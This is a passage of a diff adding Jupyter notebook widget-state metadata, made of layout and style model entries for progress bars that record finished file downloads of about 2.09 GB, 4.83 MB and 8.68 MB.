+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ffecfcd5d91c4334ad10dad18308db97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "93b9aabe280e43649c8127be38c004be": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d525c841015b47da85324c6687e6b065": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "58bc5fceab2c4b0b92d21e070b34b581": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9a3ca2c1215c466aa819c3fc1c9d8ec6",
+              "IPY_MODEL_a7b39fce6da5420391a98688d9241a62",
+              "IPY_MODEL_72e9ee98d60e4f60ba12c4e782f00466"
+            ],
+            "layout": "IPY_MODEL_6afd50ae2ac44bf6ab99e590431a471f"
+          }
+        },
+        "9a3ca2c1215c466aa819c3fc1c9d8ec6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9509d4b508bc41a299cc4bc034b2ed37",
+            "placeholder": "",
+            "style": "IPY_MODEL_a474f5b8646e4046abcdc3d367c52487",
+            "value": "Downloading: 100%"
+          }
+        },
+        "a7b39fce6da5420391a98688d9241a62": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fcdefb7c64954b85b0884eade938947c",
+            "max": 2239692364,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ab180c360bea41cbae7e259b4870881a",
+            "value": 2239692364
+          }
+        },
+        "72e9ee98d60e4f60ba12c4e782f00466": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7bb499242c7a47128633ac85aa08b585",
+            "placeholder": "",
+            "style": "IPY_MODEL_ed72bfb634f34fea85262888914d465d",
+            "value": " 2.09G/2.09G [00:57<00:00, 49.8MB/s]"
+          }
+        },
+        "6afd50ae2ac44bf6ab99e590431a471f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9509d4b508bc41a299cc4bc034b2ed37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a474f5b8646e4046abcdc3d367c52487": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fcdefb7c64954b85b0884eade938947c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ab180c360bea41cbae7e259b4870881a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7bb499242c7a47128633ac85aa08b585": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed72bfb634f34fea85262888914d465d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fa5899bf62de41949e2fb249fd43ea05": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8e1ab0c2d369447ca87f5df903216a63",
+              "IPY_MODEL_6a24ccf99d6f43f7bcc660737fb49b34",
+              "IPY_MODEL_adb3b5ca099a4ed89d72b4aec37e705c"
+            ],
+            "layout": "IPY_MODEL_bdaa096547e2437d9c50935fad091035"
+          }
+        },
+        "8e1ab0c2d369447ca87f5df903216a63": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bb760d1c151445669c8cbaad55fb2bd9",
+            "placeholder": "",
+            "style": "IPY_MODEL_8b10f855df2342f29281dbfbf884bab3",
+            "value": "Downloading: 100%"
+          }
+        },
+        "6a24ccf99d6f43f7bcc660737fb49b34": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6f615702700f45558b2c225905075139",
+            "max": 5069051,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d94cd821f1584b0288c7950d98dc1b94",
+            "value": 5069051
+          }
+        },
+        "adb3b5ca099a4ed89d72b4aec37e705c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7f1841539e7f4c7b84504eda31136f27",
+            "placeholder": "",
+            "style": "IPY_MODEL_24f2c7bfd6a14a888f92d3b25a867805",
+            "value": " 4.83M/4.83M [00:00<00:00, 25.7MB/s]"
+          }
+        },
+        "bdaa096547e2437d9c50935fad091035": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bb760d1c151445669c8cbaad55fb2bd9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8b10f855df2342f29281dbfbf884bab3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6f615702700f45558b2c225905075139": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d94cd821f1584b0288c7950d98dc1b94": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7f1841539e7f4c7b84504eda31136f27": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "24f2c7bfd6a14a888f92d3b25a867805": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8e202bee8a6d40bfa5bfedcecf0c1539": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_19d7d3a0c7404b53ab32d4148837334d",
+              "IPY_MODEL_80f7c5b4a88d421d98a4973c3a045c65",
+              "IPY_MODEL_ccd2f7cedea546f3b6e682f7d0827af2"
+            ],
+            "layout": "IPY_MODEL_84530f87cd444509aedb0e67f2421153"
+          }
+        },
+        "19d7d3a0c7404b53ab32d4148837334d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ce79218e754a4ea48c7116dbbac6cca9",
+            "placeholder": "",
+            "style": "IPY_MODEL_db82edbb668d459c86bac6842a17faed",
+            "value": "Downloading: 100%"
+          }
+        },
+        "80f7c5b4a88d421d98a4973c3a045c65": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_74c20f14d65f46138766f4dd661d0e6f",
+            "max": 9096718,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e0494d8c8ae4444d9884498446e4cf1b",
+            "value": 9096718
+          }
+        },
+        "ccd2f7cedea546f3b6e682f7d0827af2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_456f6d9ce4554a3b9ff6fcb5b6918bb2",
+            "placeholder": "",
+            "style": "IPY_MODEL_35c7c39562724525bc6c211187584f41",
+            "value": " 8.68M/8.68M [00:01<00:00, 24.6MB/s]"
+          }
+        },
+        "84530f87cd444509aedb0e67f2421153": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce79218e754a4ea48c7116dbbac6cca9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "db82edbb668d459c86bac6842a17faed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "74c20f14d65f46138766f4dd661d0e6f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e0494d8c8ae4444d9884498446e4cf1b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "456f6d9ce4554a3b9ff6fcb5b6918bb2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
